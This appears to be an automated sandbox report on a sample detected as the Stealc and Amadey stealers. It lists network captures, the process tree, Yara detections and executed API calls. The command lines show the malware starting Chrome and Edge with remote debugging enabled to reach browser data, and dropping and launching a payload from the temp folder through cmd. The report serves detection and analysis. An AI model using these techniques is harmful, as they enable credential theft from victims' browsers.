2024-12-09 17:20:29 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 65 35 50 65 66 70 48 42 55 45 75 51 63 53 78 35 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 32 65 32 36 63 33 39 30 32 63 35 38 31 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: e5PefpHBUEuQcSx5.3Context: 752e26c3902c5810<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-09 17:20:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-09 17:20:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 44 6f 62 30 74 4e 53 46 42 6b 2b 32 63 74 66 59 33 6a 64 77 6e 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Dob0tNSFBk+2ctfY3jdwng.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49812	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:20:44 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 74 4b 69 37 6d 70 34 38 33 45 43 76 49 4a 44 4d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 36 34 64 39 61 63 35 63 62 36 66 33 61 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: tKi7mp483ECvIJDM.1Context: 9d64d9ac5cb6f3ac
2024-12-09 17:20:44 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-09 17:20:44 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 74 4b 69 37 6d 70 34 38 33 45 43 76 49 4a 44 4d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 36 34 64 39 61 63 35 63 62 36 66 33 61 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 6f 62 46 6b 61 65 4f 4c 67 34 42 46 32 45 35 67 33 7a 47 65 61 42 65 6e 6d 4f 50 79 57 42 74 6d 30 74 63 79 72 4c 53 68 44 30 70 70 72 53 37 31 70 57 5a 48 76 71 4b 7a 47 6e 61 33 75 68 48 6f 69 31 75 76 5a 63 4f 6c 44 78 65 57 74 44 66 56 36 37 42 78 4e 52 2f 57 4c 67 6d 36 37 4e 76 55 52 34 6c 51 6e 62 39 53 6c 38 6c 44 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: tKi7mp483ECvIJDM.2Context: 9d64d9ac5cb6f3ac<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASobFkaeOLg4BF2E5g3zGeaBenmOPyWBtm0tcyrLShD0pprS71pWZHvqKzGna3uhHoi1uvZcOlDxeWtDfV67BxNR/WLgm67NvUR4lQnb9Sl8lD
2024-12-09 17:20:44 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 74 4b 69 37 6d 70 34 38 33 45 43 76 49 4a 44 4d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 64 36 34 64 39 61 63 35 63 62 36 66 33 61 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: tKi7mp483ECvIJDM.3Context: 9d64d9ac5cb6f3ac<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-09 17:20:45 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-09 17:20:45 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 43 2b 73 65 34 75 53 6b 32 45 71 44 61 51 35 42 66 5a 30 30 49 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: C+se4uSk2EqDaQ5BfZ00Ig.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49865	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:21:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 51 69 68 30 39 35 76 41 61 30 6d 4f 33 38 6e 75 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 64 36 64 63 33 39 37 61 39 63 30 31 61 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Qih095vAa0mO38nu.1Context: fed6dc397a9c01ad
2024-12-09 17:21:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-09 17:21:06 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 51 69 68 30 39 35 76 41 61 30 6d 4f 33 38 6e 75 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 64 36 64 63 33 39 37 61 39 63 30 31 61 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 6f 62 46 6b 61 65 4f 4c 67 34 42 46 32 45 35 67 33 7a 47 65 61 42 65 6e 6d 4f 50 79 57 42 74 6d 30 74 63 79 72 4c 53 68 44 30 70 70 72 53 37 31 70 57 5a 48 76 71 4b 7a 47 6e 61 33 75 68 48 6f 69 31 75 76 5a 63 4f 6c 44 78 65 57 74 44 66 56 36 37 42 78 4e 52 2f 57 4c 67 6d 36 37 4e 76 55 52 34 6c 51 6e 62 39 53 6c 38 6c 44 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: Qih095vAa0mO38nu.2Context: fed6dc397a9c01ad<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASobFkaeOLg4BF2E5g3zGeaBenmOPyWBtm0tcyrLShD0pprS71pWZHvqKzGna3uhHoi1uvZcOlDxeWtDfV67BxNR/WLgm67NvUR4lQnb9Sl8lD
2024-12-09 17:21:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 51 69 68 30 39 35 76 41 61 30 6d 4f 33 38 6e 75 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 65 64 36 64 63 33 39 37 61 39 63 30 31 61 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Qih095vAa0mO38nu.3Context: fed6dc397a9c01ad<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-09 17:21:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-09 17:21:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 49 2b 35 71 38 4b 44 56 62 55 4f 78 37 69 2f 49 6e 6d 70 74 52 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: I+5q8KDVbUOx7i/InmptRQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49936	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 17:21:36 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 65 44 35 57 50 70 76 69 47 55 69 66 55 5a 74 30 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 38 35 65 39 34 33 66 38 38 35 39 37 33 37 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: eD5WPpviGUifUZt0.1Context: 585e943f8859737f
2024-12-09 17:21:36 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-09 17:21:36 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 65 44 35 57 50 70 76 69 47 55 69 66 55 5a 74 30 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 38 35 65 39 34 33 66 38 38 35 39 37 33 37 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 6f 62 46 6b 61 65 4f 4c 67 34 42 46 32 45 35 67 33 7a 47 65 61 42 65 6e 6d 4f 50 79 57 42 74 6d 30 74 63 79 72 4c 53 68 44 30 70 70 72 53 37 31 70 57 5a 48 76 71 4b 7a 47 6e 61 33 75 68 48 6f 69 31 75 76 5a 63 4f 6c 44 78 65 57 74 44 66 56 36 37 42 78 4e 52 2f 57 4c 67 6d 36 37 4e 76 55 52 34 6c 51 6e 62 39 53 6c 38 6c 44 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: eD5WPpviGUifUZt0.2Context: 585e943f8859737f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASobFkaeOLg4BF2E5g3zGeaBenmOPyWBtm0tcyrLShD0pprS71pWZHvqKzGna3uhHoi1uvZcOlDxeWtDfV67BxNR/WLgm67NvUR4lQnb9Sl8lD
2024-12-09 17:21:36 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 65 44 35 57 50 70 76 69 47 55 69 66 55 5a 74 30 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 38 35 65 39 34 33 66 38 38 35 39 37 33 37 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: eD5WPpviGUifUZt0.3Context: 585e943f8859737f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-09 17:21:37 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-09 17:21:37 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 67 56 68 44 47 33 53 47 64 45 65 7a 62 78 6b 77 36 49 48 6c 42 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: gVhDG3SGdEezbxkw6IHlBw.0Payload parsing failed.

Target ID:	0
Start time:	12:19:58
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x840000
File size:	1'795'584 bytes
MD5 hash:	EBFFB5C01B1CB9697D08AEEF2D74123C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2699197714.000000000154E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2130684805.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2697249380.0000000000841000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2697249380.000000000090C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:20:08
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:20:09
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2172,i,9379353750806782494,3710681808778928881,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:20:19
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:20:19
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2268,i,18147046930143251905,629712067082401529,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:20:19
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:20:20
Start date:	09/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2200,i,4519856815945680510,4741741539002150674,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:20:54
Start date:	09/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDHIEGIII.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:20:54
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:20:55
Start date:	09/12/2024
Path:	C:\Users\user\Documents\HIDHIEGIII.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\HIDHIEGIII.exe"
Imagebase:	0x780000
File size:	3'254'784 bytes
MD5 hash:	44D9A6B93CD876C421A19439C8000ACA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2728652082.0000000000781000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:20:57
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7d0000
File size:	3'254'784 bytes
MD5 hash:	44D9A6B93CD876C421A19439C8000ACA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2753861263.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	12:20:57
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7d0000
File size:	3'254'784 bytes
MD5 hash:	44D9A6B93CD876C421A19439C8000ACA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2759115425.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:22:00
Start date:	09/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7d0000
File size:	3'254'784 bytes
MD5 hash:	44D9A6B93CD876C421A19439C8000ACA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3376195450.00000000007D1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

GenuntelineI, xrefs: 6C953639
AuthcAMDenti, xrefs: 6C953946
GTC, xrefs: 6C953912
QPC, xrefs: 6C9538FC
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB

Memory Dump Source

Source File: 00000000.00000002.2712832523.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

